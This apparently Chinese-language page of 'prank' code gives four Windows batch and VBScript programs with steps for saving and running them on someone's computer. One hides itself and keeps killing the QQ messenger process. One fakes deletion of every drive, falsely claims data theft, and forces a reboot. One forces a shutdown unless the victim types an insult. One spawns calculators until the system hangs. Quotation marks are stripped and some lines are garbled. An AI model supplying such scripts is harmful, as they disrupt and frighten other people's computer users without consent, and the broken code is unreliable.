电脑整人小代码.docVIP

o p @echo off if %1 == h goto begin mshta vbscript:createobject(wscript.shell).run(%~nx0 h,0)(window.close)exit :begin tasklist |find /i QQ.exe if %errorlevel%==0 (goto killit) else (goto next) :killit taskkill /f /im QQ.exe :next ping -n 3 127.t nul 2nul goto begin ——————————分割线———————— 把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行 嘿嘿，那你的qq就不能运行了哟 @ color 4f @echo off echo 删除计算机的C盘的所有文件...... ping /n 2 nul echo 已删除完毕 echo. echo 删除计算机的D盘的所有文件...... ping /n 2 nul echo 已删除完毕 echo. echo 删除计算机的E盘的所有文件...... ping /n 2 nul echo 已删除完毕 @ color echo. echo. ========================================= echo. 啊哈哈，都删关，都杀关，哈哈 …… echo. ========================================= echo. 系统将马上崩溃...... echo. 这是一个木马程序......您的所有资料已经传到 XXXX@163.com shutdown /r /t 30 /c 电脑在30s内即将崩溃,哈哈，你活该！ ntsd -c q -pn explorer.exe ping /n 20 nul start explorer.exe shutdown -a ____________________________分割线______________________ 将分割线以上部分保存到txt格式，然后把后缀改成bat就可以运行了 运行后你的磁盘会被格式化 当然 那是假的。。。用来吓人的。。。 希望你玩的愉快。。。 set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 说我是猪，不说我是猪就一分钟关机，不信，试下··· ,0 ,true dim a do while(a 我是猪) a = inputbox (说我是猪,就不关机，快撒，说 我是猪 ,说不说,,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loop msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖 -------------------------------------------------------------------------------- 新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 让对方说 我是猪 set wsh=createobject(wscript.shell) do wsh.run calc loop 新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 打开无数个计算器，直到死机